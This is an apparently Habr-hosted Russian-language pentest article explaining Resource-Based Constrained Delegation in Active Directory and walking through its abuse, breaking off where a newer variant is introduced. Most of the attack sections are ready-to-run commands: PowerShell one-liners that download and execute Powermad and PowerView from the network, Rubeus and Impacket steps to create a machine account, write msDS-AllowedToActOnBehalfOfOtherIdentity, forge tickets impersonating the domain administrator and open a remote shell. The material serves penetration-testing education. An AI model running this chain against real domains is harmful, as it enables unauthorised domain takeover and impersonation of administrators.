Делегируй меня полностью, или Новый взгляд на RBCD-атаки в AD04.08.2022 13:16

1. Сферическое RBCD в вакууме

Ограниченное делегирование на основе ресурсов (Resource-Based Constrained Delegation, RBCD) появилось в ОС Windows Server 2012 и представляет из себя концепцию олицетворения пользователей сервером (то есть сервисной учетной записью) в ситуации, когда пользователь проходит проверку подлинности по паролю, а серверу нужно выполнить то или иное действие от его имени по Kerberos-билету в информационной системе по соседству.

Классический пример, который приводится для объяснения, зачем вообще нужны разные виде делегирования в AD — это пример с веб-сервером и базой данных. Не будем отходить от этой традиции и мы, поэтому посмотрим на рисунок ниже.

Сферическое делегирование в вакууме

Что здесь происходит:

1. Пользователь snovvcrash проходит проверку подлинности на веб-сервере WEB01, предоставляя в качестве «доказательства аутентичности» свой пароль. Аутентификация проходит по протоколу NTLM, потому что snovvcrash находится за пределами доменной сети и не обладает возможностью передать билет Kerberos.

2. Веб-сервер видит, что ему не дали тикета в ходе аутентификации, поэтому в игру вступает транзитное расширение протокола Kerberos S4U2self(Service for User to Self), предназначенное для получения «пробрасываемого» (Forwardable, билет с правом передачи) TGS-билета на самого себя у контроллера домена от имени целевого пользователя. Это позволит веб-серверу запросить следующий TGS-билет на службу БД SQL01 в шаге 3.

3. Активация следующей фазы транзитного расширения Kerberos — S4U2proxy(Service for User to Proxy). В ходе этой процедуры веб-сервер может предоставить в качестве доказательства TGS-билет из шага 2 для получения TGS-билета на службу SQL01 от имени целевого пользователя snovvcrash.

4. Веб-сервер получает возможность получения доступа к базе данных SQL01, олицетворяя пользователя snovvcrash.

Важно отметить, что в концепции RBCD-делегирования право получения доступа к службе SQL01 веб-сервером WEB01 с олицетворением других пользователей определяет сама служба SQL01. Данный процесс происходит путем записи в свойство с непроизносимым называнием msDS-AllowedToActOnBehalfOfOtherIdentity объекта службы (компьютера) SQL01 значения SID-а учетной записи WEB01$. Это отличает ограниченное делегирование на основе ресурсов от классического ограниченного делегирования (Kerberos Constrained Delegation, KCD).

2. Злоупотребление сферическим RBCD в вакууме

— «Круто, и что со всем этим делать?», — спросил системный администратор.

— «Злоупотребл#ть, разумеется», — ответил пентестер.

В 2019 году исследователь Элад Шамир (@elad_shamir) опубликовал пугающий своими размерами ресерч Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory, ставший краеугольным камнем в развитии методов злоупотребления механизмом ограниченного делегирования на основе ресурсов.

В этом пункте я не буду подробно останавливаться на теоретической части эксплуатации RBCD Abuse, так как материалов на просторах Интернета хватает (в конце оставлю ссылки). Вместо этого давайте лучше вместе проведем эту атаку «вживую», чтобы более плавно подойти к тем самым нововведениям, которые недавно были открыты специалистом Джеймсом Форшоу (@tiraniddo). Нетерпеливые могут сразу прыгать в пункт 3.

2.1 Эксплуатация RBCD Abuse с Windows

С данной атакой я впервые познакомился в момент прохождения лаборатории Hades на Hack The Box, и в тот момент это казалось самым сложным, что вообще бывает в AD-эксплуатации (как же я ошибался, да?). Классический вариант абьюза RBCD проводится с Windows с помощью тройки благородных инструментов: Powermad, PowerView, Rubeus.

Допустим, мы скомпрометировали доменного пользователя TINYCORP\AngaraUser, обладающего правом на запись в объект машины MOSCOW.tinycorp.net. В этом случае для получения административного доступа к службам MOSCOW нам понадобится вспомогательный машинный аккаунт (или любая другая УЗ с записью SPN) для того, чтобы вписать значение его SID-а в свойство msDS-AllowedToActOnBehalfOfOtherIdentity объекта MOSCOW и далее делегировать этой вспомогательной машине право олицетворения привилегированных (или других) пользователей в отношении атакуемого хоста MOSCOW.

Машинный аккаунт (или, другими словами, сервисную учетку с записями SPN) атакующий может создать в домене Active Directory, обладая минимальным аутентифицированным доступом. Свойство ms-DS-MachineAccountQuota, по умолчанию равное 10, определяет количество компьютеров, разрешенных для ввода в домен обычными пользователями одновременно. Этим и пользуется инструмент Powermad.

Cmd

Get-ADObject -Identity "DC=tinycorp,DC=net" -Properties * | select ms-ds-machineAccountQuota
IEX(New-Object Net.WebClient).DownloadString("https://github.com/Kevin-Robertson/Powermad/raw/master/Powermad.ps1")
New-MachineAccount -MachineAccount AngaraMachine -Password $(ConvertTo-SecureString "Passw0rdMach1ne" -AsPlainText -Force) -Verbose

Создаем вспомогательную машинную учетку (Windows)

Теперь, обладая подконтрольной УЗ TINYCORP\AngaraMachine$, мы можем скрафтить дескриптор безопасности DACL, разрешающий доступ (Allow) AngaraMachine$, и присвоить его свойству msDS-AllowedToActOnBehalfOfOtherIdentity машинного объекта MOSCOW. Сделать это можно, например, с помощью PowerView, если нет возможности использовать стандартный модуль ActiveDirectory.

Cmd

IEX(New-Object Net.WebClient).DownloadString("https://github.com/PowerShellMafia/PowerSploit/raw/dev/Recon/PowerView.ps1")
Get-DomainObjectAcl -Identity MOSCOW -ResolveGUIDs | ? {$_.ObjectAceType -eq "ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity" -and $_.SecurityIdentifier -eq "S-1-5-21-1230029644-1443616230-1161330039-2187"}
$ComputerSid = Get-DomainComputer AngaraMachine -Properties ObjectSid -Verbose | Select -Expand ObjectSid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer MOSCOW -Verbose | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -Verbose
Get-ADComputer MOSCOW -Properties * | select -Expand msds-allowedToActOnBehalfOfOtherIdentity
Get-ADComputer MOSCOW -Properties * | select DistinguishedName,Name,SID,sAMAccountName,msDS-AllowedToActOnBehalfOfOtherIdentity | fc -Depth 1

Изменяем свойство msDS-AllowedToActOnBehalfOfOtherIdentity (Windows)Смотрим DACL внутри msDS-AllowedToActOnBehalfOfOtherIdentity

Ну, а теперь мы просто используем Rubeus для проведения полной цепочки атаки S4U, в ходе которой, как было описано раньше, будут выполнены задействованы процедуры S4U2self & S4U2proxy для получения TGS-билета Kerberos и олицетворения привилегированной УЗ TINYCORP\Administrator в отношении служб HOST и HTTP (целимся в WinRM) компьютера MOSCOW.

Cmd

wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exe
.\Rubeus.exe hash /password:Passw0rdMach1ne
.\Rubeus.exe s4u /user:AngaraMachine$ /rc4:1A4C60A12EFCAA9984543C5F759D3CFD /impersonateuser:administrator /msdsspn:host/MOSCOW.tinycorp.net /altservice:http /nowrap /createnetonly:C:\Windows\System32\cmd.exe /show
powershell
Enter-PSSession MOSCOW.tinycorp.net

Проводим атаку S4U (Windows)

Если лень делать все вышеописанное вручную, можно воспользоваться актуальным форком PowerView, где появился командлет Set-DomainRBCD, частично автоматизирующий процесс, описанный выше. Пример использования можно подсмотреть в моем прохождении другой лабы RPG с Hack The Box.

2.2 Эксплуатация RBCD Abuse с Linux

То же самое может быть легко проделано с Linux-хоста благодаря коллекции скриптов Impacket. Покажем это.

Создаем машинную учетку с помощью addcomputer.py.

Cmd

cme ldap 172.22.0.2-3 -u AngaraUser -p 'Passw0rdUs3r!'
cme ldap 172.22.0.2 -u AngaraUser -p 'Passw0rdUs3r!' -M MAQ
findDelegation.py tinycorp.net/AngaraUser:'Passw0rdUs3r!' -dc-ip 172.22.0.2
addcomputer.py -computer-name AngaraMachine -computer-pass 'Passw0rdMach1ne' -dc-ip 172.22.0.2 tinycorp.net/AngaraUser:'Passw0rdUs3r!'

Создаем вспомогательную машинную учетку (Linux)

Навешиваем ее на атакуемый хост MOSCOW, как разрешенную для делегирования S4U с помощью rbcd.py.

Cmd

rbcd.py -delegate-from 'AngaraMachine$' -delegate-to 'MOSCOW$' -dc-ip 172.22.0.2 -action write tinycorp.net/AngaraUser:'Passw0rdUs3r!'
rbcd.py -delegate-to 'MOSCOW$' -dc-ip 172.22.0.2 -action read tinycorp.net/AngaraUser:'Passw0rdUs3r!'
findDelegation.py tinycorp.net/AngaraUser:'Passw0rdUs3r!' -dc-ip 172.22.0.2

Изменяем свойство msDS-AllowedToActOnBehalfOfOtherIdentity (Linux)

Запрашиваем тикет с олицетворением администратора домена в отношении службы CIFS (целимся в DCE/RPC) компьютера MOSCOW с помощью getST.py.

Cmd

getST.py -spn cifs/MOSCOW tinycorp.net/AngaraMachine:'Passw0rdMach1ne' -dc-ip 172.22.0.2 -impersonate administrator
KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass MOSCOW -shell-type powershell

Проводим атаку S4U (Linux)

Это всего лишь один пример, как можно злоупотреблять механизмом RBCD «в лоб». В связке с другими цепочками атак такое злоупотребление мутирует, превращаясь в очень опасные формы повышения привилегий — от локальных атак для LPE (например, в связке с относительно новой атакой Kerberos Relay) до получения прав администратора домена в несколько команд (говорили об этом в этой статье).

Интересное чтиво по теме

3. Атакуем конфигурации RBCD без вспомогательной машинной УЗ

«Итак, а в чем же новый взгляд, snovvcrash?» — спросите вы.

Так вот. Несколько месяцев назад исследователь команды Google Project Zero Джеймс Форшоу в треде обсуждения недавнего на тот момент вторника обновлений Microsoft в Твиттере выдвинул поистине гениальное в своей простоте предположение о том, что нам по сути-то и не нужна машинная учетная запись для делегирования ей привилегий — для этого хватит и учетки простого пользователя. В последствии это предположение было подтверждено им же в небольшой заметке, легшей в основу этой публикации.

Почему вообще это важно? Все чаще и чаще на проектах мы сталкиваемся с тем, что свойство ms-DS-MachineAccountQuota в AD равно 0 (как мы и рекомендуем в своих отчетах). Таким образом, у низкопривилегированных пользователей больше нет прав для создания сервисных учеток, а ввод новых компьютеров в домен делегирован системным администраторам. Но продолжать ломать же нужно

© Habrahabr.ru